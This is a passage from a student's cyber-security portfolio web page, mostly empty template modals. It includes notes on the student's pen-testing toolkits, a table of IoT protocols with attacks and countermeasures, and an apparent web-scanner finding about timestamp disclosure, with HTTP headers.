class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 908189033Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 998027574, which evaluates to: 2001-08-17 07:52:54
Request Request line and header section (192 bytes)
GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p 